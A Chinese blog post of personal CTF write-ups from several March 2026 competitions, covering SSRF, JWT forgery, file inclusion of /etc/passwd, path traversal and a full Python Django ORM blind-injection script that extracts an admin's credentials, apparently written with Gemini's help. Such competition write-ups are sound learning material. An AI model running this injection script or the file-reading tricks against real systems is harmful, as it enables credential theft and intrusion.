最近的比赛

3.6-3.7参加的比赛,基本上都是3.6晚上开的,只有cybergame的是3.6做了,其他的都是3.7早上起来去做的,这比赛一个接一个的,有点难搞哦

还是太菜了,我都只做web,但是有些还做不出来,导致比赛就看起来很多,真废物啊我

反正后面就刷比赛的,每一个都去参加,做不出来也试试,就当见见世面

cryptonite ctf

结果开始的时候直接卡崩了,我还以为我梯子网络差,结果在discord才发现都崩了

这挺印度的

等到第二天早上,终于开放了,不过web方向就一个题目,不知道后面会不会放

webchal1

题目很明显的提示了是ssrf,然后直接去导入失败了,然后就想到可能是工作目录的问题,跳了几层,然后拿到了flag

jailbreak

访问之后输入了一些东西都返回denie,我还以为有什么其他的解法,结果试了几下flag,直接读取出来了

unbreakable ctf

demolition

将题目的源码给Gemini后,很快分析出了漏洞

然后我是在webhook下托管了js文件,如下

然后按照提示将url发给bot

然后base64解码之后就是flag

nday-1

这个题目是airflow,试了几个历史漏洞,没结果,也没怎么接触过这个软件,就没做了,等后面看wp

apoorvctf

days of future past

首先在源码中看到提示

然后去app.js

看到最后应该是要查看message,而message要admin的jwt,这又是一个jwt伪造,然后在bak中看到api key

然后在debug中看到jwt加密密钥

然后注册一个账号登录看看jwt的格式

然后拿去jwt.io网站伪造

访问message的api得到信息

然后问了Gemini之后发现可以用Many Time Pad攻击,GitHub上也有工具,不过我找Gemini帮忙写了一个简易的脚本

解密之后就可以看到flag了

然后处理一下即可提交

Typing Tycoon

观察主页下方好像有篮字,点开看看

发现是一个查询的api

试了一下好像有注入

sqlmap跑了一下暂时没发现有,再看看其他地方

观察了一下之后决定用python脚本跑,因为最开始start接口就给了全文,只要一个个发就行

一开始我还以为发包的wpm是分数,后面才知道是速度,其实正常在网页里自己打也能出来,因为机器人还挺慢的,但是脚本快一些吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import time
import json

BASE_URL = "http://chals1.apoorvctf.xyz:4001"

def solve_race() :
# 1. 开始比赛
print( "[*] Starting race..." )
start_url = f"{BASE_URL}/api/v1/race/start"
try :
start_response = requests.post( start_url , timeout=10 )
start_data = start_response.json()
except Exception as e :
print( f"[-] Failed to start race: {e}" )
return

race_id = start_data[ 'race_id' ]
text = start_data[ 'text' ]
token = start_data[ 'token' ]
words = text.split()
total_words = len( words )

print( f"[+] Race ID: {race_id}" )
print( f"[+] Total words to type: {total_words}" )

headers = {
"Authorization" : f"Bearer {token}" ,
"Content-Type" : "application/json" ,
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36"
}

sync_url = f"{BASE_URL}/api/v1/race/sync"
start_time = time.time()

# 2. 模拟一个个发送单词
for i , word in enumerate( words ) :
# 计算进度
progress = (i + 1) / total_words

# 计算当前 WPM (Words Per Minute)
elapsed_time = time.time() - start_time
if elapsed_time > 0 :
current_wpm = (i + 1) / (elapsed_time / 60)
else :
current_wpm = 100

payload = {
"race_id" : race_id ,
"word" : word ,
"progress" : progress ,
"wpm" : int( current_wpm )
}

# 发送同步包
try :
response = requests.post( sync_url , headers=headers , json=payload , timeout=5 )
res_json = response.json()

# 打印进度监控
if i % 10 == 0 or i == total_words - 1 :
print(
f"[*] Progress: {progress * 100:.2f}% | WPM: {int( current_wpm )} | Time Remaining: {res_json.get( 'time_remaining' )}s" )

# 如果响应体里出现了 flag 关键字,直接打印
res_str = json.dumps( res_json )
if "apoorvctf" in res_str.lower() or "flag" in res_str.lower() :
print( "\n[!!!] FLAG FOUND:" )
print( res_str )
return

except Exception as e :
print( f"[-] Error at word '{word}': {e}" )
break

# 控制打字速度:
# 如果你想快一点,可以把这个 sleep 调小。
# 0.1s 间隔大约对应 600 WPM。
time.sleep( 0.1 )

print( "[*] Race finished. Checking final response for flag..." )

if __name__ == "__main__" :
solve_race()

KameHame-Hack

访问是一个游戏界面

开始游戏有一个攻击按键,当你的powerlevel比对面高,你就赢,比对面低就失败,前面2轮都是成功的,第三轮的时候失败了,然后是在session中有power_level,但是伪造这个session失败,然后从页面源代码中看到了是SSTI注入的,但是没构造成功

ssti的题目做的还是少了,当时ai也提到了,但是没好好去试,还是结束之后看别人的wp

Sugar Heist

打开之后观察源码,发现一个假flag,还有提示

看来是要从api入手了

找到一个flag的api,但是需要admin角色的token

可以在注册的时候添加一个role

但是不知道为啥还是不行,等后面看别人wp

Cosplayer’s Delight

这个题有点懵,也不想花太多时间去做这个了,就后面看了下wp:

https://github.com/hax1ng/apoorvctf2026/tree/main/web/cosplayers-delight

cybergame 2026

这个比赛的题目只有取证,密码学,开源情报,进攻性安全,恶意软件分析

ORMT

将源码发给Gemini得到漏洞解析

然后Gemini直接编写exp,不过需要根据实际页面进行调整,我这是经过一次改动后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
import string
import sys

# 目标地址
URL = "http://exp.cybergame.sk:7001/book_lookup"

# 1. 构造死循环查询路径,湊够 30 个 '__' 触发 RecursionError 异常
# Book -> reviews(Review) -> for_book(Book) 循环 15 次
PADDING = "reviews__for_book__" * 15

# 我们需要的字符集(字母、数字、特殊符号)
CHARSET = string.ascii_letters + string.digits + "{}_-!@#$%^&*()"

def get_false_length() :
"""获取查询失败时的页面长度作为基准线"""
print( "[*] 正在获取 False 基准页面长度..." )
data = {"title__icontains" : "THIS_BOOK_WILL_NEVER_EXIST_99999"}
r = requests.post( URL , data=data )
length = len( r.text )
print( f"[*] False 页面长度约为: {length}" )
return length

def check_condition(payload_key , payload_value , false_length) :
"""发送 Payload 并判断页面是否返回了书籍"""
data = {payload_key : payload_value}
r = requests.post( URL , data=data )
# 如果当前页面长度比 false_length 大很多(通常大于100个字符的差异),说明查询到了书籍(条件为True)
if len( r.text ) > false_length + 50 :
return True
return False

def extract_field(field_name , false_length) :
"""逐字盲注提取目标字段"""
extracted = ""
print( f"\n[*] 开始爆破 Admin 的 {field_name}..." )

while True :
found_char = False
for char in CHARSET :
test_val = extracted + char

# 构造 Payload:
# PADDING + reviews__by_user__role=admin (确保是管理员的评论)
# PADDING + reviews__by_user__{field_name}__startswith=test_val (爆破字段)
payload_key = f"{PADDING}reviews__by_user__{field_name}__startswith"

# 我们需要同时确保这个用户是 admin
data = {
f"{PADDING}reviews__by_user__role" : "admin" ,
payload_key : test_val
}

r = requests.post( URL , data=data )

if len( r.text ) > false_length + 50 :
extracted += char
sys.stdout.write( f"\r[+] 当前已爆破出: {extracted}" )
sys.stdout.flush()
found_char = True
break

if not found_char :
print( f"\n[!] 爆破完成!最终 {field_name}: {extracted}" )
break

return extracted

if __name__ == "__main__" :
print( "=== 开始 Django ORM 盲注 ===" )

# 1. 获取基准长度
false_len = get_false_length()

# 2. 首先测试连通性,确认 Admin 留下过 Review
test_key = f"{PADDING}reviews__by_user__role"
if check_condition( test_key , "admin" , false_len ) :
print( "[+] 连通性测试成功!发现关联的 Admin 账户,准备提取凭证..." )
else :
print( "[-] 警告:Admin 似乎没有留下过 Review。尝试更换路径为 Author..." )
# 如果 Admin 没有写评论,那他大概率是某本书的 Author,我们切换查询路径
PADDING = "author__books__" * 15
test_key = f"{PADDING}author__user_account__role"
if check_condition( test_key , "admin" , false_len ) :
print( "[+] 连通性测试成功!Admin 是作者。" )

# 修正后续提取用的键名
def extract_field(field_name , false_length) :
extracted = ""
print( f"\n[*] 开始爆破 Admin 的 {field_name}..." )
while True :
found_char = False
for char in CHARSET :
test_val = extracted + char
data = {
f"{PADDING}author__user_account__role" : "admin" ,
f"{PADDING}author__user_account__{field_name}__startswith" : test_val
}
r = requests.post( URL , data=data )
if len( r.text ) > false_length + 50 :
extracted += char
sys.stdout.write( f"\r[+] 当前已爆破出: {extracted}" )
sys.stdout.flush()
found_char = True
break
if not found_char :
print( f"\n[!] 爆破完成!最终 {field_name}: {extracted}" )
break
return extracted
else :
print( "[-] 无法找到 Admin 关联的数据,请检查数据库结构。" )
sys.exit( 1 )

# 3. 爆破账号和密码
username = extract_field( "username" , false_len )
password = extract_field( "password" , false_len )

print( "\n=== ✨ 爆破成功 ✨ ===" )
print( f"账号 (Username): {username}" )
print( f"密码 (Password): {password}" )
print( "=======================" )
print( "-> 现在你可以使用这组凭据,通过 Basic Auth 访问 http://exp.cybergame.sk:7001/admin 获取 Flag 了!" )

爆出来后直接去登录即可

ORMT2

AXIOM CTF

[Baby] Библиотека Лосяша (洛希亚沙图书馆)

随便点了几下,发现url很可疑

感觉可以试试文件包含,试了几下之后发现/etc/passwd被禁了,其他的没有,成功读取到了第二段flag

在robots中也有提示

用php伪协议读取到的源码如下:

这里就能看出来直接读源码不行,会无限循环(因为我试过了,卡死),得用php伪协议,然后看了一下robots中提到的config.php,直接得到第一部分的flag

解码之后是这样:

铁保姆管理系统

经过尝试是可以在文件管理处读取文件,查看目录的,但是过滤了service,而源码就在service下

也是没做出来

UPCTF

0 day on ipaddress

给了源码,就是绕过

Gemini给出绕过方案

很不错的题目

ouro no pescoco

mauth

microsoft axel

把源码给Gemini之后给了2种方案,一个是用绝对路径开头,但是操作起来不是很好用,还有一个就是路径穿越,这个成功了


最近的比赛
https://rightevil.github.io/最近的比赛/
作者
rightevil
发布于
2026年3月9日
许可协议